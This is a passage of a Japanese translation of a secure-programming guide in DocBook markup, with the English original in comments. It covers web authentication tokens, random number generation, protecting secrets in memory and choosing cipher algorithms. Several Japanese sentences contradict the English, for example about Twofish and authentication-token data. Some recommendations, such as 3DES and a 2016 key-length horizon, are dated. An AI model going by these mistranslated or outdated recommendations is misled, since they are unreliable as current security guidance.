<para>
<!--
From then on, the server should check the expiration time and the digest
of this authentication token, and only server the data if it matches.
If there's no token, it could reply with the user login page
(with a hidden form field to show where the successful login should go).
-->
ログインした時からずっと、サーバは有効期間とこの認証に使われているトークンの
ダイジェストをチェックしてください。一致した場合にだけデータを提供してください。
トークンがなければ、ユーザにはログインするページを返してください(hidden 
フォームのフィールドがあって、ログインが成功した後に飛ぶべきところを表示)。
</para>

<para>
<!--
If you include a sessionid in the authentication token, you can limit
access further.
Your server could ``track'' what pages a user has seen in a given session,
and only permit access to other appropriate pages
(e.g., only those directly linked from those page(s)).
For example,
if a user is granted access to page foo.html, and page foo.html has
pointers to resources bar1.jpg and bar2.png, then accesses to bar4.cgi
can be rejected.
You could even kill the session, though only do this if the authentication
information is valid (otherwise, this would make it possible for
attackers to cause denial-of-service attacks on other users).
This would somewhat limit the access an attacker has, even if they
successfully hijack a session, though clearly an attacker with time
and an authentication token
could ``walk'' the links just as a normal user would.
-->
セッション ID を認証トークンに入れると、アクセスがさらに制限できます。
サーバがあるセッションでユーザがどのページを見ているかを「追跡」できます。
また、見てもかまわないページにだけアクセスを許可できます(たとえば、それらの
ページから直接リンクされているものだけとか)。
たとえば、あるユーザが foo.html というページへのアクセスを認められていて、
foo.html というページには bar1.jpg と bar2.png というリソースを指している
ところがあるとして、bar4.cgi へのアクセスを拒否できます。
セッションを切ることさえも可能ですが、認証情報が正しいことが条件です(さも
ないと、攻撃者が他人に対してサービス拒否攻撃をしかけられます)。
たとえセッションの乗っ取りに成功したとしても、これで攻撃者がかけてくるアクセス
を多少なりとも制限できます。しかし、攻撃者に攻撃する時間と認証トークンが
あれば、通常ユーザがするようにリンクを「渡り歩く」ことが可能です。
</para>

<para>
<!--
One decision is whether or not to require the authentication token and/or
data to be sent over a secure connection (e.g., SSL).
If you send an authentication token
in the clear (non-secure), someone who intercepts the
token could do whatever the user could do until the expiration time.
Also, when you send data over an unencrypted link, there's the risk of
unnoticed change by an attacker; if you're worried that someone might change the
data on the way, then you need to authenticate the data being transmitted.
Encryption by itself doesn't guarantee authentication, but it does make
corruption more likely to be detected, and typical libraries can support
both encryption and authentication in a TLS/SSL connection.
In general, if you're encrypting a message, you should also authenticate it.
If your needs vary,
one alternative is to create two authentication tokens - one is used
only in a ``secure'' connection for important operations, while the other
used for less-critical operations.
Make sure the token used for ``secure'' connections is marked so that only
secure connections (typically encrypted SSL/TLS connections) are used.
If users aren't really different, the authentication token could omit
the ``data'' entirely.
-->
決め所は、認証トークンが必要なのか、それとも安全な接続(たとえば、SSL)でデータ
を送るのが必要なのか、それとも両者とも必要なのか、という点です。
認証トークンを暗号化せずに(安全ではなく)送ると、トークンを横取りすれば、
ユーザと同じことを有効期限が切れるまで実行できます。
また、暗号化されていない接続でデータを送ると、ユーザが気付かないうちに
攻撃者がデータを変更してしまう危険があります。このようにデータを誰かが
変更してしまうのが心配なら、伝送するデータに認証をかけなければいけません。
暗号化自体が認証を受け持っているわけではありませんが、不正行為を発見しやすく
なります。また代表的なライブラリは TLS や SSL で暗号化と認証を両方とも
サポートしています。
一般的に、メッセージを暗号化したいなら、その認証もあわせて行ってください。
要求が異なるなら、もう 1 つのやり方として認証トークンを 2 つ作成する方法も
あります。 トークンの 1 つは「安全な」接続を行って、重要な操作をする目的に
だけ使用します。一方もうひとつのトークンは、それほど重要でない操作に利用します。
「安全な」接続のために使われるトークンに注意を払って、安全な接続(暗号化した
SSL か TLS 接続が一般的)にだけ使われているようにしてください。
ユーザが違っていたなら、認証トークンが「データ」を完全に削除してください。
</para>

<para>
<!--
Again, make sure that the pages with this authentication token aren't cached.
There are other reasonable schemes also; the goal of this text is
to provide at least one secure solution.
Many variations are possible.
-->
繰り返しになりますが、認証トークンをともなうページは、決してキャッシュされない
ようにしてください。
他にも手ごろな方法があります。このドキュメントの最終目標は少なくとも 1 つ、
安全な解決方法を提供することです。
可能な解決方法はたくさんあります。
</para>

</sect2>

<sect2 id="web-authentication-logout">
<!-- <title>Authenticating on the Web: Logging Out</title> -->
<title>Web の認証――ログアウト</title>
<para>
<!--
You should always provide users with a mechanism to ``log out'' - this
is especially helpful for customers using shared browsers
(say at a library).
Your ``logout'' routine's task is simple - just unset the client's
authentication token.
-->
「ログアウト」する仕組みをいつもユーザに提供してください。これはブラウザ
を共有して使うユーザ(たとえば、図書館で)にとっては特に便利です。
「ログアウト」するルーチンの役目は単純です。クライアント側の認証トークンを
解除すればよいだけです。
</para>
</sect2>

</sect1>

<sect1 id="random-numbers">
<!-- <title>Random Numbers</title> -->
<title>乱数</title>

<para>
<!--
In many cases secure programs must generate ``random'' numbers that
cannot be guessed by an adversary.
Examples include session keys, public or private keys, symmetric keys,
nonces and IVs used in many protocols, salts, and so on.
Ideally, you should use a truly random source of data for random numbers,
such as values based on
radioactive decay (through precise timing of Geiger counter
clicks), atmospheric noise, or thermal noise in electrical circuits.
Some computers have a hardware component that functions as
a real random value generator, and if it's available you should use it.
-->
安全が必要なプログラムは、攻撃者が推定できない「ランダムな」数(乱数)を
さまざまな場面で生成しなければいけません。
たとえばランダムな数には、セッション鍵を含む公開もしくは秘密鍵や対称鍵、
さまざまなプロトコルで使用している nonce(その時だけ有効な情報)や初期
ベクトル(IV)、salt 等が該当します。
理想を言えば、乱数は真にランダムであるデータを元にすべきです。そのような
値には、放射線崩壊(ガイガー・カウンターの雑音を正確に計測)や大気の雑音、
電気回路の熱雑音があります。
コンピュータには、本物の乱数生成器として機能するハードウェア部品を搭載する
ものもあります。利用できるものなら利用してください。
</para>

<para>
<!--
However, most computers don't have hardware that generates truly
random values, so in most cases you need a way to generate random numbers
that is sufficiently random that an adversary can't predict it.
In general, this means that you'll need three things:
-->
しかし、たいていのコンピュータには真に乱数を発生するハードウェアはついて
いません。そこで乱数を発生させる方法が必要になるケースがほとんどです。発生
させる方法は、攻撃者が予想できない程度にランダムである仕組みが必要になります。
普通 3 つの仕組みが必要になります。
<itemizedlist>
<listitem><para>
<!--
An ``unguessable'' state; typically this is done by measuring
variances in timing of low-level devices
(keystrokes, disk drive arm jitter, etc.)
in a way that an adversary cannot control.
-->
「推測不可能な」状態。低レベルのデバイス(キー入力やディスク・ドライブの
アームのジッタ(ゆれ)等)の変化を計測することで実現します。攻撃者はこれを
制御できません。
</para></listitem>
<listitem><para>
<!--
A cryptographically strong pseudo-random number generator (PRNG), which
uses the state to generate ``random'' numbers.
-->
暗号用に強化した擬似乱数発生器(PRNG)。これは内部状態を使って「ランダム」
な数を発生します。
</para></listitem>
<listitem><para>
<!--
A large number of bits (in both the seed and the resulting value used).
There's no point in having a strong PRNG if you only have a few possible values,
because this makes it easy for an attacker to use brute force attacks.
The number of bits necessary varies depending on the circumstance, however,
since these are often used as cryptographic keys, the normal rules of
thumb for keys apply.
For a symmetric key (result), I'd use at least 112 bits (3DES), 128 bits is
a little better, and 160 bits or more is even safer.
-->
大きなビット数(シードと結果として使われた値の両方)。
使える値がわずかなら、強力な PRNG を持っていても無駄です。理由は、攻撃者が
総当たり攻撃をかけやすくなるからです。
必要になるビット数は環境にもよりますが、暗号鍵としても利用されているので、
経験上、この鍵にもこのルールを適用します。
対称鍵(とその結果)は、少なくとも 112 ビット(3DES)を使用しています。128 ビット
使えば、多少ましになり、160 ビット以上ならより安全です。
</para></listitem>
</itemizedlist>
<!--
Typically the PRNG uses the state to generate some values, and then
some of its values and other unguessable inputs are used to update the state.
There are lots of ways to attack these systems.
For example, if an attacker can control or view inputs to the state
(or parts of it), the attacker may be able
to determine your supposedly ``random'' number.
-->
通常、PRNG は内部状態を使って鍵を生成します。その値やその他の推測できない
入力を使って状態を更新します。
この仕組みを攻撃する方法はたくさんあります。
たとえば、攻撃者が状態への入力を制御したり、見たりしたりできれば(部分的
にでも)、攻撃者は「ランダムな」数をもしかすると割り出すかもしれません。
</para>

<para>
<!--
The real danger with PRNGs is that most computer language libraries include
a large set of pseudo-random number generators (PRNGs)
which are <emphasis>inappropriate</emphasis> for security purposes.
Let me say it again:
<emphasis>do not use typical random number generators for security
purposes</emphasis>.
Typical library PRNGs
are intended for use in simulations, games, and so on; they are
<emphasis remap="it">not</emphasis> sufficiently random for use
in security functions such as key generation.
Most non-cryptographic
library PRNGs are some variation of ``linear congruential generators'',
where the ``next'' random value is computed as "(aX+b)&nbsp;mod&nbsp;m"
(where X is the previous value).
Good linear congruential generators are fast and have useful statistical
properties, making them appropriate for their intended uses.
The problem with such PRNGs is that future values can be easily deduced
by an attacker (though they may appear random).
Other algorithms for generating random numbers quickly, such as
quadratic generators and cubic generators, have also been broken
[Schneier 1996].
In short, you have to use cryptographically strong PRNGs to
generate random numbers in secure applications - ordinary random number
libraries are not sufficient.
-->
PRNG が本当に危険なのは、コンピュータ言語のライブラリの大半に、擬似乱数発生器
(PRNG)が備わっている点にあります。これはセキュリティ用には<emphasis>不適切
</emphasis>です。
繰り返しましょう。
<emphasis>標準的な乱数発生器をセキュリティ用に利用しないでください</emphasis>。
標準的な PRNG ライブラリはシミュレータやゲーム向け等に使われるもので、
鍵生成のようなセキュリティ向けのランダムさを十分に<emphasis>持ち合わせて
いません</emphasis>。
暗号化していない PRNG ライブラリは、「線形合同法を用いた発生器」系が多く、
「次の」ランダムな値は「(aX+b)&nbsp;mod&nbsp;m」(X は以前の値)として計算
されます。
線形合同法を用いた発生器として優れていれば、高速で有効な統計的特性
を持ち、目的とするところにぴったり当てはまります。
そのような PRNG の問題点は、攻撃者が先々の値を簡単に推論できる点にあります
(ランダムに現れたとしても)。
乱数を素早く生成する二次生成器や三次生成器のようなその他のアルゴリズムも
やられてしまいます[Schneier 1996]。
つまり、安全が必要なアプリケーションでは、暗号的に強固な PRNG を利用して、乱数
を生成しなければいけません。一般的な乱数ライブラリでは十分ではありません。
</para>

<para>
<!--
Failing to correctly generate truly random values for keys has caused
a number of problems, including holes in Kerberos,
the X window system, and NFS [Venema 1996].
-->
鍵用に真の乱数を正しく生成できないと、問題がいろいろ発生します。Kerberos 
や X Window System、NFS のセキュリティホールがそれです[Venema 1996]。
</para>

<para>
<!--
If possible, you should use system services
(typically provided by the operating system) that are expressly designed
to create cryptographically secure random values.
For example,
the Linux kernel (since 1.3.30) includes a random number generator, which
is sufficient for many security purposes.
This random number generator  gathers  environmental  noise
from  device  drivers  and  other  sources into an entropy pool.
When accessed as /dev/random, random bytes are only returned
within the estimated number of bits of noise in the entropy pool
(when the entropy pool is empty, the call blocks until additional
environmental noise is gathered).
When accessed as /dev/urandom, as many bytes as are requested are
returned even when the entropy pool is exhausted.
If you are using the random values for cryptographic purposes (e.g.,
to generate a key) on Linux, use /dev/random.
*BSD systems also include /dev/random.
Solaris users with the SUNWski package also have /dev/random.
Note that if a hardware random number generator is available and its
driver is installed, it will be used instead.
More information is available in the system documentation random(4).
-->
できるだけ、システムに用意されているサービスを使うべきです(一般的には
オペレーティングシステムが用意しているもの)。そのようなサービスは、
安全な乱数を提供できるように特に設計して作られているからです。
たとえば、Linux カーネル(1.3.30 から)は乱数生成器を持っていて、セキュリティ用
に十分対応できます。
この乱数生成器は、周囲で発生するノイズをデバイスドライバや他の情報源から
収集して、エントロピー・プールに収めます。
/dev/random にアクセスするとエントロピー・プールにあるノイズから推定
されたビット数の範囲でだけ、ランダムな値が返されてきます(エントロピー・
プールが空の場合は、周囲からノイズが集まってくるまで、呼び出しをブロック
します)。
/dev/urandom でアクセスして、大きな値を要求すると、エントロピー・プール
が使い果たされても値が返ってきます。
乱数を暗号化の目的で利用するなら(たとえばキーの生成のため)、/dev/random を
使ってください。
BSD系 システムも /dev/random を持っています。
Solaris は SUNWski パッケージで /dev/random を用意しています。
ハードウェアの乱数生成器が利用可能なら、ドライバをインストールしてかわりに
利用してください。
さらに詳しい情報は、システムにあるオンラインマニュアルの random(4)を参照
してください。
</para>

<para>
<!--
On other systems, you'll need to find another way to get truly random results.
One possibility for other Unix-like systems
is the Entropy Gathering Daemon (EGD), which monitors system
activity and hashes it into random values; you can get it at
<ulink url="http://www.lothar.com/tech/crypto">http://www.lothar.com/tech/crypto</ulink>.
You might consider using a
cryptographic hash functions (e.g., SHA-1) on PRNG outputs.
By using a hash algorithm, even if the PRNG turns out to be guessable,
this means that the attacker must now also break the hash function.
-->
システムによっては、真にランダムな結果を得るのに、他の手段を捜さなければ
いけないものもあります。
Unix ライクなシステムで可能な方法の 1 つに Entropy Gathering Daemon (EGD)が
あります。このデーモンはシステムの動作を監視して、それをハッシュしてから乱数
にします。このデーモンは、
<ulink url="http://www.lothar.com/tech/crypto">http://www.lothar.com/tech/crypto</ulink> 
から取得できます。
PRNG の出力として、暗号化ハッシュ機能(たとえば、SHA-1)の利用も検討してもよい
と思います。
ハッシュアルゴリズムを使えば、PRNG の出力が推測できるようになったとしても、
攻撃者は、さらにハッシュ機能も片づけなければならないからです。
</para>

<para>
<!--
If you have to implement a strong PRNG yourself,
a good choice for a cryptographically strong (and patent-unencumbered)
PRNG is the Yarrow algorithm; you can learn more about Yarrow from
<ulink url="http://www.counterpane.com/yarrow.html">http://www.counterpane.com/yarrow.html</ulink>.
Some other PRNGs can be useful, but many widely-used ones
have known weaknesses that may or may not matter depending on your application.
Before implementing a PRNG yourself, consult the literature, such as
[Kelsey 1998] and [McGraw 2000a].
You should also examine
<ulink url="http://www.ietf.org/rfc/rfc1750.txt">IETF RFC 1750</ulink>.
-->
自分で強力な PRNG を実装しなければならないなら、暗号的に強固な(かつ特許に抵触
しない) PRNG である Yarrow アルゴリズムを採用するのが良いでしょう。Yarrow に
ついては
<ulink url="http://www.counterpane.com/yarrow.html">http://www.counterpane.com/yarrow.html</ulink> 
でさらに知ることができます。
PRNG には他にも便利に使えるものがありますが、広く利用されているものには既知
の弱点を持つものがあり、アプリケーションによっては問題になる場合も考えられます。
PRNG を自分で実装する前に [Kelsey 1998] や [McGraw 2000a]のような文献を
調べてください。
<ulink url="http://www.ietf.org/rfc/rfc1750.txt">IETF RFC 1750</ulink> 
も調べた方が良いでしょう。
【訳註：IETF RFC 1750 の日本語訳は、
<ulink url="http://www.ipa.go.jp/security/rfc/RFC1750JA.html">
http://www.ipa.go.jp/security/rfc/RFC1750JA.html</ulink> にあります】
</para>

</sect1>

<sect1 id="protect-secrets">
<!--
<title>Specially Protect Secrets (Passwords and Keys) in User Memory</title>
-->
<title>ユーザ空間ではとりわけ秘密(パスワードや鍵)を守る</title>
<para>
<!--
If your application must handle passwords or non-public keys
(such as session keys, private keys, or secret keys), overwrite them
immediately after using them so they have minimal exposure.
For example,
in Java, don't use the type String to store a password because Strings are
immutable (they will not be overwritten until garbage-collected and
reused, possibly a far time in the future).
Instead, in Java use char[] to store a password, so it can be
immediately overwritten.
-->
アプリケーションがパスワードや非公開鍵(セッション鍵や秘密鍵)を扱う必要がある
なら、公開を最小限にとどめるために、使用後はすぐに上書きしてください。
たとえば、Java では String 型にパスワードを保存しないでください。String 型は
変更されないからです(ガーベジコレクトされるか、再利用されない限り、上書き
されません。こうなるには時間がかかるでしょう)。
String 型のかわりに、char[] を使ってパスワードを保存してください。そうすれば
すぐに上書きされます。
</para>

<para>
<!--
Also,
if your program handles such secret values, be sure to disable creating
core dumps (via ulimit).  Otherwise, an attacker may be able to halt the
program and find the secret value in the data dump.
Also, beware - normally processes can monitor other processes through
the calls for debuggers (e.g., via ptrace(2) and the /proc pseudo-filesystem)
[Venema 1996]
Kernels usually protect against these monitoring routines if the process is
setuid or setgid
(on the few ancient ones that don't, there really isn't a way to
defend yourself other than upgrading).
Thus, if your process manages secret values, you probably should make it
setgid or setuid (to a different unprivileged group or user) to forceably
inhibit this kind of monitoring.
-->
また、プログラムがそのような秘密の値を扱うなら、コアダンプを絶対作らないよう
にしてください(ulimit を使って)。さもないと攻撃者がプログラムを中断させて、
ダンプしたデータから秘密の値を見つけ出すかもしれません。
もう 1 つ注意しなければならない点があります。それは、一般プロセスがデバッガー
(たとえば、ptrace(2)を使ったり、/proc の擬似ファイルシステムを使ったりして)を
呼び出すことで、他のプロセスを監視できる点です[Venema 1996]。
カーネルは通常、そのプロセスが setuid もしくは setgid してあるとそのような
監視ルーチンからプロセスを保護します(古いカーネルでは保護が働きません。
保護するためにはアップグレードするしか方法はありません)。
つまり、プロセスが秘密の値を扱うなら、そのプログラムに(特権を持たないグループ
やユーザで)setuid もしくは setgid をかけて、この種の監視を強制的に禁止するよう
にしてください。
</para>

</sect1>

<sect1 id="crypto">
<!-- <title>Cryptographic Algorithms and Protocols</title> -->
<title>暗号化アルゴリズムとプロトコル</title>

<para>
<!--
Often cryptographic algorithms and protocols are necessary to keep
a system secure, particularly when communicating through an untrusted
network such as the Internet.
Where possible, use cryptographic techniques to authenticate information and
keep the information private
(but don't assume that simple encryption automatically authenticates as well).
Generally you'll need to use a suite of available tools to
secure your application.
-->
暗号化アルゴリズムやプロトコルは、システムの安全を維持するのに必要です。
インターネットのように信頼できないネットワークを経由して通信する場合は、特に
必要になります。
できるだけ暗号技術を使って情報を認証し、秘密を維持してください(しかし、
暗号化が認証を自動的にうまく行ってくれると、単純に思いこまないでください)。
一般的には、適切なツールを使ってアプリケーションを安全にする必要があります。
</para>

<para>
<!--
For background information and code, you should probably look at
the classic text ``Applied Cryptography'' [Schneier 1996].
The newsgroup ``sci.crypt'' has a series of FAQ's; you can find them
at many locations, including
<ulink url="http://www.landfield.com/faqs/cryptography-faq">http://www.landfield.com/faqs/cryptography-faq</ulink>.
Linux-specific resources include the Linux Encryption HOWTO at
<ulink
url="http://marc.mutz.com/Encryption-HOWTO/">http://marc.mutz.com/Encryption-HOWTO/</ulink>.
A discussion on how protocols use the basic algorithms can be
found in [Opplinger 1998].
A useful collection of papers on how to apply cryptography in
protocols can be found in [Stallings 1996].
What follows here is just a few comments; these areas are rather
specialized and covered more thoroughly elsewhere.
-->
これまでの背景を知りたければ、著名なテキストである「Applied Cryptography」
[Schneier 1996]を読んでください。
「sci.crypt」ニュースグループは、FAQ を逐次出しています。あちこちで手に
入りますが、<ulink url="http://www.landfield.com/faqs/cryptography-faq">
http://www.landfield.com/faqs/cryptography-faq</ulink> にもあります。
Linux Encryption HOWTO を含む Linux 固有の情報元は
<ulink
url="http://marc.mutz.com/Encryption-HOWTO/">http://marc.mutz.com/Encryption-HOWTO/</ulink> 
です。
プロトコルがどのような基本的アルゴリズムを利用しているかについては、
[Opplinger 1998]を見てください。
プロトコルにどうやって暗号を適用するかについては、ドキュメントのコレクション
として [Stallings 1996]があります。
ここでわずかですが、解説をします。特化した内容になっていますので、より広く
知りたいならば、別のところを参照してください。
</para>

<para>
<!--
Cryptographic protocols and algorithms are difficult to get right,
so do not create your own.
Instead, where you can, use protocols and algorithms that are
widely-used, heavily analyzed, and accepted as secure.
When you must create anything, give the approach wide public review and
make sure that professional security analysts examine it for problems.
In particular, do not create your own encryption algorithms unless you are
an expert in cryptology, know what you're doing, and plan to spend
years in professional review of the algorithm.
Creating encryption algorithms (that are any good) is a task for experts only.
-->
暗号化したプロトコルや暗号アルゴリズムを正しく理解するのは困難なので、自分で
作ろうとはしないでください。
そのかわりに、広く利用され、念入りに解析されたプロトコルやアルゴリズムを利用
してください。それが安全なものと理解してください。
暗号に関連したものを作成しなければならない時には、レビューを広く公開し、
セキュリティ分析の専門家が問題を調査できるようにしなければいけません。
自分が暗号化の専門家で、何をしているかを把握し、何年もかけてアルゴリズムの
専門家のレビューを受ける計画を立てられなければ、暗号アルゴリズムを作成する
ようなことはしないでください。
(いくらかでも役に立つ)暗号アルゴリズムの作成は、専門家だけに許された作業です。
</para>


<para>
<!--
A number of algorithms are patented; even if the owners permit
``free use'' at the moment, without a signed contract they can always
change their minds later, putting you at extreme risk later.
In general, avoid all patented algorithms -
in nearly all cases there's an unpatented approach that is at least as good
or better technically, and by doing so you avoid a large number
Of legal problems.
-->
アルゴリズムの多くは特許を取っています。所有者が「利用は自由」、とある時点で
認めていたとしても、契約書に署名をしていなければ、所有者の気持ちが後になって
変わって、後で多大なリスクを背負うことになります。
総じて特許のあるアルゴリズムはすべて避けてください。ほとんどどんなケースでも、
特許に抵触しない解決方法があります。またその解決方法は、少なくとも特許を持つ
ものと同等か、それ以上に優れた技術を使っています。そうしておけば、法的な問題の
数々を回避できます。
</para>

<sect2 id="crypto-protocols">
<!-- <title>Cryptographic Protocols</title> -->
<title>暗号化プロトコル</title>

<para>
<!--
For protocols, try to use standard-conforming protocols
such as SSL (soon to be TLS), SSH, IPSec, GnuPG/PGP, and Kerberos.
Many of these overlap somewhat in functionality, but each has
a ``specialty'' niche.
SSL (soon to be TLS) is the primary method for protecting http (web)
transactions.
PGP-compatible protocols (implemented in PGP and GnuPG) are a primary
method for securing email end-to-end.
Kerberos is a primary method for securing and supporting authentication
on a LAN, and for establishing shared secrets (thus, it needs to be
used with other algorithms for the actual protection of communication).
SSH is the primary method of securing ``remote terminals'' over an 
internet, e.g., telnet-like and X windows connections, though it's often
used for securing other data streams too (such as CVS accesses).
Note that there are two major versions of the SSH protocol, and there
are several choices for key types and so on; see its documentation
for more information.
OpenSSH is an open source implementation of SSH.
IPSec is the primary method for securing lower-level packets and
``all'' packets, so it's particularly useful for securing
virtual private networks and remote machines.
The new version of the Internet Protocol, IPv6, comes with
IPSec ``built in,'' but IPSec also works with the more common IPv4 protocol.
-->
プロトコルは標準で適応している SSL(まもなく TLS に)や SSH、IPSec、GnuPG/PGP、
Kerberos 等を使うようにしてください。
機能のいくつかはそれぞれにかぶっていますが、おのおの「得意の」分野を持って
います。
SSL(まもなく TLS)は、そもそも http(Web)のやり取りを保護する手法です。
PGP 互換プロトコル(PGP や GnuPG で実装)は、そもそも端末相互間で安全な電子
メールをやり取りする方法です。
Kerberos は本来、LAN 上で認証を安全にサポートする方法です。また、秘密を共有
する仕組みを構築します(つまり、実際に通信を保護するアルゴリズムは別に
必要になります)。
SSH はそもそもインターネット越しに「離れた端末」を安全にする方法です。
たとえば、telnet や X Window System のようなものを対象にしています。しかし
他のデータ・ストリーム(CVS へのアクセスのような)を安全にする場合にも良く
使われています。
SSH プロトコルにはメジャーな 2 つのバージョンが存在していることに注意して
ください。また鍵のタイプ等の選択肢がいくつかあることにも注意してください。
詳しい情報はそれぞれのドキュメントを参照してください。
OpenSSH は、SSH のオープンソース版実装の 1 つです。
IPSec はそもそも低レベルでパケット「すべて」を安全にする方法です。したがって、
仮想プライベート・ネットワーク(VPN)や離れたところにあるマシンを安全にするのに
便利です。
インターネット・プロトコルの新しいバージョンである IPv6 は IPSec を「組み
込んで」いますが、より一般的な IPv4 でも IPSec は動作します。
</para>

<para>
<!--
Many of these protocols allow you to select a number of different
algorithms, so you'll still need to pick reasonable defaults for
algorithms (e.g., for encryption).
-->
さまざまなプロトコルで、いろいろなアルゴリズムが利用できます。したがって
デフォルトとして、適切なアルゴリズムを選択する必要があります(たとえば、暗号化
アルゴリズム)。
</para>

</sect2>

<sect2 id="symmetric-encryption">
<!-- <title>Symmetric Key Encryption Algorithms</title> -->
<title>対称鍵の暗号化アルゴリズム</title>

<para>
<!--
The use, export, and/or import of implementations of
encryption algorithms are restricted in many countries, and the laws
can change quite rapidly.
Find out what the rules are before trying to build applications using
cryptography.
-->
暗号アルゴリズムの利用や輸出入は、国で規制されているケースが多く、かつ法律
は刻々と改定されます。
暗号を使ってアプリケーションを構築しようとする前に、法律がどうなっているか
を調査してください。
</para>

<para>
<!--
For secret key (bulk data) encryption algorithms,
use only encryption algorithms that have been openly published and withstood
years of attack, and check on their patent status.
I would recommend using the
new Advanced Encryption Standard (AES), also known as Rijndahl &#045;&#045;
a number of cryptographers have analyzed it and not found any serious weakness
in it, and I believe it has been through enough analysis
to be trustworthy now.
A good alternative to AES is the Serpent algorithm, which is slightly slower
but is very resistant to attack.
For many applications triple-DES is a very good encryption algorithm; it
has a reasonably lengthy key (112 bits), no patent issues, and
a very long history of withstanding attacks (it's withstood attacks far
longer than any other encryption algorithm with reasonable key length in the
public literature).
However, triple-DES is very slow when implemented in software, so
triple-DES can be considered ``safest but slowest.''
Twofish appears to be a good encryption algorithm, but there are some
lingering questions - Sean Murphy and Fauzan Mirza showed that Twofish
has properties that cause many academics to be concerned (though as of yet
no one has managed to exploit these properties).
MARS is highly resistent to ``new and novel'' attacks, but it's more complex
and is impractical on small-ability smartcards.
For the moment I would avoid Twofish - it's quite likely that this will never
be exploitable, but it's hard to be sure and there are alternative
algorithms which don't have these concerns.
Don't use IDEA - it's subject to U.S. and European patents.
Don't use stupid algorithms such as XOR with a constant or constant string,
the ROT (rotation)
scheme, a Vinegere ciphers, and so on - these can be trivially broken
with today's computers.
Don't use ``double DES'' (using DES twice) - that's subject to a
``man in the middle'' attack that triple-DES avoids.
Your protocol should support multiple encryption algorithms, anyway;
that way, when an encryption algorithm is broken,
users can switch to another one.
-->
秘密鍵(巨大なデータです)の暗号化アルゴリズムは、オープンに公開されていて、
長年の攻撃に耐え続けたものだけを利用してください。特許の状態も調べてください。
私としては、Rijndahl として有名な Advanced Encryption Standard(AES)の利用を
推奨します。大勢の暗号研究者がこれを解析して、重大な弱点が見つけられないこと
がわかっています。私は、現状では十分に信頼するに足ると信じています。
AES のかわりとして優れているものは、Serpent アルゴリズムです。このアルゴリズム
は処理が少々低速ですが、攻撃に対してとても強力です。
アプリケーションの多くにとって、triple-DES は非常に優れた暗号アルゴリズムです。
鍵長も適度で(112 ビット)、特許問題もありませんし、攻撃に長年耐えてきた実績が
あります(公開資料があり、適度な鍵長を持った暗号化アルゴリズムの中で、これほど
長い期間攻撃に耐えてきたものは他にありません)。
しかし、triple-DES はソフトウェアで実装してあると非常に低速で、triple-DES は
「安全だが遅い」と思われています。
Twofish は優れた暗号アルゴリズムですが、なかなかある疑いがぬぐえません。
それは、Sean Murphy 氏 と Fauzan Mirza 氏が Twofish はたくさんの学者が所有権
を持っている、としている点です(しかし今のところ誰もその所有権を犯そうとは
していません)。
MARS は「新手の斬新な」攻撃に対して抵抗力が強力です。しかし、より複雑で、
低性能 IC カードで対応するのは非現実的です。
今のところ、私は Twofish を採用しません。理由は、確かに Twofish は決して
やられることはないと思われますが、しがらみを確認するのが困難だからです。
しがらみがないアルゴリズムが他にも存在していますので。
IDEA は使わないでください。米国と欧州の特許にしばられています。
定数や文字定数を XOR したようなものや ROT(転置暗号)法やビジネル暗号等、
考えなしなアルゴリズムを使わないでください。これらは現在のコンピュータなら
わけもなく破れます。
「double DES」(DES を 2 度かける)は使わないでください。 triple-DES では
起こらない「man in the middle 攻撃」にやられやすいからです。
とにかく、プロトコルが複数の暗号アルゴリズムをサポートしているようにして
ください。そうすれば、ある暗号アルゴリズムがやられても、ユーザは別の
アルゴリズムに変更できますので。
【訳註：「man in the middle 攻撃」については、
<ulink url="http://www.vicus-oryzae.com/gorua/mitm.html">二つの MITM って？</ulink>
が参考になります】
</para>

<para>
<!--
For symmetric-key encryption (e.g., for bulk encryption), don't use a
key length less than 90 bits if you want the information
to stay secret through 2016
(add another bit for every additional 18 months of security) [Blaze 1996].
For encrypting worthless data, the old DES algorithm has some value,
but with modern hardware it's too easy to break DES's 56-bit key using
brute force.
If you're using DES, don't just use the ASCII text key as the key -
parity is in the least (not most) significant bit, so most DES algorithms
will encrypt using a key value well-known to adversaries;
instead, create a hash of the key and set the parity bits correctly
(and pay attention to error reports from your encryption routine).
So-called ``exportable'' encryption algorithms only have effective key lengths
of 40 bits, and are essentially worthless;
in 1996 an attacker could spend $10,000 to break such keys in twelve minutes
or use idle computer time to break them in a few days,
with the time-to-break halving every 18 months in either case.
-->
対称鍵の暗号化(たとえば、巨大な暗号向けに)には、もし 2016 年まで秘密を保ちたい
なら、90 ビットより小さい鍵長を利用しないでください(さらにビットを増やせば、
ビット毎に 18 か月セキュリティを保持する期間が増えます)[Blaze 1996]。
それほど重要でないデータを暗号化するなら、以前からある DES アルゴリズムが
役立つ場合があります。しかし最近のハードウェアならいとも簡単に総当たり攻撃
で DES の 56 ビット鍵を破れます。
DES を使っているなら、鍵として ASCII テキストを使わないようにしてください。
パリティは最下位(最上位ではない)ビットにありますし、DES アルゴリズムの多くは、
攻撃者がよく知ってしまっている鍵値を使って暗号化しています。
そのかわり、鍵のハッシュを作成し、間違いなくパリティ・ビットに設定して
ください(暗号化ルーチンが出すエラーメッセージには注意を払ってください)。
いわゆる輸出向け暗号アルゴリズムは、有効な鍵長がたった 40 ビットになって
います。これでは意味がありません。
1996 年には攻撃者は 10,000 ドルを費やして 12 分でそのような鍵を破りましたし、
コンピュータが空いている時間を使って数日で鍵を破りました。どちらのケースも、
破られるのに 18か月の半分の時間を持っていたのにです。
</para>

<para>
<!--
Block encryption algorithms can be used in a number of different modes, such as
``electronic code book'' (ECB) and ``cipher block chaining'' (CBC).
In nearly all cases, use CBC, and do <emphasis>not</emphasis> use ECB mode -
in ECB mode, the same block of data always returns the same result inside
a stream, and this is often enough to reveal what's encrypted.
Many modes, including CBC mode, require an ``initialization vector'' (IV).
The IV doesn't need to be secret, but it does need to be unpredictable by
an attacker.
Don't reuse IV's across sessions - use a new IV each time you start a session.
-->
ブロック暗号化アルゴリズムは、いろいろなモードを使っています。たとえば、
「electronic code book」(ECB)や「cipher block chaining」(CBC)がそれです。
CBC を利用するのが一般的ですが、ECB モードは<emphasis>使わないで</emphasis>
ください。ECB モードでは、あるストリームで、同じデータブロックが常に同じ
結果を返します。これでは暗号化されたものが何なのか、公表しているようなもの
です。
CBC モードを含むモードは、「初期ベクトル」(IV)を必要とする場合が多くあります。
IV を秘密にする必要はありませんが、攻撃者が予測できるようではいけません。
セッションをまたがって IV を再利用してはいけません。セッションをはじめる
度に、新しい IV を使ってください。
</para>

<para>
<!--
There are a number of different streaming encryption algorithms, but
many of them have patent restrictions.
I know of no patent or technical issues with WAKE.
